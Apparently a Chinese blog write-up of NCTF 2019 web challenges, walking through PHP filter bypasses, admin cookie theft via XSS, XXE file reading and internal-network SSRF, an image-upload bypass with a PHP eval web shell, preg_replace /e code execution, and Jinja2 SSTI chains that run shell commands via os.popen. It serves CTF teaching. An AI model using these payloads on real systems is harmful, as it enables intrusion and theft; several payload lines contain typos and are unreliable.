NCTF 2019 web writeup
2019-NCTF web writeup

收货

  • 1.php常见绕过姿势
  • 2.XXE漏洞利用技巧及SSRF
  • 3.文件上传绕过姿势
  • 4.chr()拼接绕过
  • 5.preg_replace()函数/e漏洞(PHP7.0失效了qwq)
  • 6.flask的SSTI注入

2019NCTF题目

0x01

easyphp

<?php
error_reporting(0);
highlight_file(__file__);
$string_1 = $_GET['str1'];
$string_2 = $_GET['str2'];
$cmd = $_GET['q_w_q'];
//1st
if($_GET['num'] !== '23333' && preg_match('/^23333$/', $_GET['num'])){
    echo '1st ok'."<br>";
}
else{
    die('23333333');
}
//2nd
if(is_numeric($string_1)){
    $md5_1 = md5($string_1);
    $md5_2 = md5($string_2);
    if($md5_1 != $md5_2){
        $a = strtr($md5_1, 'cxhp', '0123');
        $b = strtr($md5_2, 'cxhp', '0123');
        if($a == $b){
            echo '2nd ok'."<br>";
        }
        else{
            die("can u give me the right str???");
        }
    } 
    else{
        die("no!!!!!!!!");
    }
}
else{
    die('is str1 numeric??????');
}
//3rd
$query = $_SERVER['QUERY_STRING'];
if (strlen($cmd) > 8){
    die("too long :(");
}
if( substr_count($query, '_') === 0 && substr_count($query, '%5f') === 0 ){
    $arr = explode(' ', $cmd);
    if($arr[0] !== 'ls' || $arr[0] !== 'pwd'){
        if(substr_count($cmd, 'cat') === 0){
            system($cmd);
        }
        else{
            die('ban cat :) ');
        }
    }
    else{
        die('bad guy!');
    }
}
else{
    die('nonono _ is bad');
}
?> 

这个题需要三次绕过,还是十分繁琐的。1st num的值不能是23333,然鹅num还是精确匹配num必须等于23333(正则表达式我得多补补qwq),这个时候要想到%0A进行绕过。在GET请求时,将URL的SQL注入关键字用%0A分隔,%0A是换行符,在mysql中可以正常执行。而此时PHP强类型num=23333%0A !== 23333绕过!2nd两个数字的md5要完全相等,这里is_numeric就说明不能数组绕过。四处打听发现md5(2120624)==md5(240610708),绕过!3rd 整个?后面的get不能有_的存在,但是让却让你用q_w_q,这个时候我也没太明白该怎么绕过。

PHP官方描述

有了这个就好聊了,所以直接构造payload:?num=23333%0A&str1=240610708&str2=2120624&q w q=ca\t *(PS:cat我在kali上c\at or ca\t 都是可以执行的,再来个*全端了),得到flag:NCTF{t3is_So_siiimpppllleeee_to_u}

0x02 simple XSS

simple XSS

说实话XSS的题确实少见,但是有了还是有招的,随便注册后发现直接可以XSS很开心,但是没有任何方向,这个时候admin账户被注册过了,想法是直接用admin的cookie登入,搭建好平台后,向admin发送XSS payload,瞬间看到了admin的cookie

XSS截图

利用admin账户的cookie登入进去之后,会很神奇的跳出来一个有着flag的网页,23333,应该是主要考察你能不能得到admin账户的cookie。

0x03 Fake XML cookbook

Fake XML cookbook
XXE就是XML外部实体注入。当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。
先日常看一下源码。

function doLogin(){
    var username = $("#username").val();
    var password = $("#password").val();
    if(username == "" || password == ""){
        alert("Please enter the username and password!");
        return;
    }

    var data = "<user><username>" + username + "</username><password>" + password + "</password></user>"; 
    $.ajax({
        type: "POST",
        url: "doLogin.php",
        contentType: "application/xml;charset=utf-8",
        data: data,
        dataType: "xml",
        anysc: false,
        success: function (result) {
            var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
            var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
            if(code == "0"){
                $(".msg").text(msg + " login fail!");
            }else if(code == "1"){
                $(".msg").text(msg + " login success!");
            }else{
                $(".msg").text("error:" + msg);
            }
        },
        error: function (XMLHttpRequest,textStatus,errorThrown) {
            $(".msg").text(errorThrown + ':' + textStatu);
        }
    }); 
}

看到了利用了XML和服务器进行通信,然后burp打开后发现存在回显

截图

题目已进行提示说flag就在/flag里直接构造payload:
payload

0x04 True XML cookbook

True XML cookbook

登录界面和上题一模一样,不过题目说可以利用XML干更多的事了,这个时候我们先重复上次操作,看看有没有什么新的发现。看到/etc/passwd并无新的东西,这个时候我们想到XXE还有第二种利用方式,XXE&SSRF。有关XXE和SSRF的相关文章(参考来自Freebuff):XML实体攻击
重点是利用XXE来嗅探渗透内网,顺便自己补一下Linux下/proc/net/arp的用途叭。Linux和windows都能在dos环境下查看arp。参考链接:
Linux /proc/net/ 下文件用途
所以直接burp抓包后查看内网IP。

内网IP

这个时候其实我也很茫然,不知道应该怎么办,问了问队里其他大佬,发现知道了内网IP后不妨去看一看每一个内网,用Burp爆破同一个C段的内网IP发现192.168.1.8的返回长度不一样,注意这个时候看base64,payload:
payload

解密后得到flag:NCTF{XXE-labs_is_g00d}

0x05 Upload your Shell

Upload your Shell

一进去发现类似博客的页面,题目说让我找上传点,不难发现存在一处图片的上传点。

上传

话不多说,直接上传东西就完事了。发现只能上传图片,呜呜呜,不过这也是基本操作,考察上传绕过就完事了,我尝试了%00截断并未成功,MINE类型绕过也是并未成功,就先传一个普通的照片叭,居然告诉我这个。。。
弹个alert出来告诉我<? in contents!,即使是普通照片也会存在有<?,这里我们找到了思路,应该是附上PHP一句话,并且不能有<?上的存在,所以payload很明显,用<script language="php">@eval($_POST['hacker']);</scirpt>进行绕过,注意照片内容不出现<?,直接报给你一个图片链接。
payload

看到url中有action=,本想尝试php://filter协议,失败告终,然后直接把fllag地址放进去,就出flag了。。看来还是我多想了。。

0x06 replace

这个是一个替换字符的一个应用,先试了试发现还挺好玩的,乱输了一些东东后发现会报错,应该是个SQL注入的题,先不管了,引号是被过滤了的,好像还有一些字符被和谐 了。输入三个#发现报错,爆出了preg_repalce()函数的错误,综合判断preg_replace应该使用了正则匹配来进行过滤,看到另一个页面说PHP版本不是特高,就想起了/e这个修饰符。这里给出这个/e修饰符的用法。

/e修饰符

可以看到,使用preg_replace/e修饰符后,可以执行php代码,极其危险。

函数原型

mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])

本想在pattern后加/e,但是报错多出了/e,所以推测是不是已经包括在里面了。所以只要在replacement后接正确的php语句,看看推测是否正确。输入phpinfo(); surprise~可以看到phpinfo,这个时候根据phpinfo看到有很多是可以利用的。我借鉴了一个payload,用readfile()函数来读取文件,这个时候就要猜测flag在啥文件里了,但是之前发现,单引号双引号被拦截了,这个时候想到chr()拼接,php中chr()可将ascii码转成相应的字符来进行绕过,拼接了一个flagflag.txt,这里之前一直不理解,为啥直接payload就是readfile(chr(47).chr(102).chr(108).chr(97).chr(103));而不需要加双引号,最后发现好sa。。。利用chr()拼接后就是字符串,本身就带着双引号走了,不需要再额外加上双引号了qwq。得到flag。
或者只要没禁POST(GET),利用POST(GET)也是一样。RT(来自ChaMd5)

payload

0x07 flask

题目给关了就很难受了qwq。等到时候出题了在补图吧23333.

Flask 是一个 web 框架。也就是说 Flask 为你提供工具,库和技术来允许你构建一个 web 应用程序。这个 wdb 应用程序可以使一些 web 页面、博客、wiki、基于 web 的日历应用或商业网站。
Flask 属于微框架(micro-framework)这一类别,微架构通常是很小的不依赖于外部库的框架。这既有优点也有缺点,优点是框架很轻量,更新时依赖少,并且专注安全方面的 bug,缺点是,你不得不自己做更多的工作,或通过添加插件增加自己的依赖列表。

漏洞原理

from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get('name', 'guest')

    t = Template("Hello " + name)
    return t.render()

if __name__ == "__main__":
    app.run()

这里name完全是用户端可以自己控制的,所以当用户端输入恶意代码时是存在漏洞的。


flask依赖jinja2 模板引擎,而在这个jinjia2中,{{}}是变量包裹标识符。{{}}并不仅仅可以传递变量,还可以执行一些简单的表达式。
看了师傅们的文章,是通过python的对象的继承来一步步实现文件读取和命令执行的的。找到父类<type 'object'>–>寻找子类–>找关于命令执行或者文件操作的模块。
from freebuff

from freebuff

from freebuff

注意subclass()[][]里的是对应所出现的可用引用(这里我的理解就是存活的可用函数)的顺序,可以看到读取了文件。看了其他师傅发现还有更高级的操作233,执行系统命令,这可太强了。

访问os模块都是从warnings.catch_warnings模块入手的,而这两个模块分别位于元组中的59,60号元素。init用于将对象实例化,func_globals可以看该模块下有哪些globals函数,而linecache可用于读取任意一个文件的某一行,而这个函数引用了os模块。看了其他师傅的一些payload

object.__subclasses__()[59].__init__.func_globals.linecache.os.popen('id').read() 

object.__subclasses__()[59].__init__.func_globals['linecache'].os.popen('whoami').read()


object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem' ] ('ls')

object.__subclasses__()[59].__init__.__globals__.__builtins__下有eval,__import__等的全局函数

object.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import_('os').popen('id').read()")


object.__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os).popen('id').read()")


object.__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os).popen('id').read()


object.__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popn('id').read()

(这些payload都能够实现

回到这个题上,在我最后构造了这个payload:

{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat flag").read()')}}

居然不能直接读flag,所以还需要绕弯弯,学长提醒我用通配符
通配符是一种特殊语句,主要有星号(*)和问号(?),用来模糊搜索文件。
一般flag就在/flag中或者那种flag.txt之类的,可以考虑buzz,重新构造payload:
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /fla?").read()')}}得到flag.

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
下一篇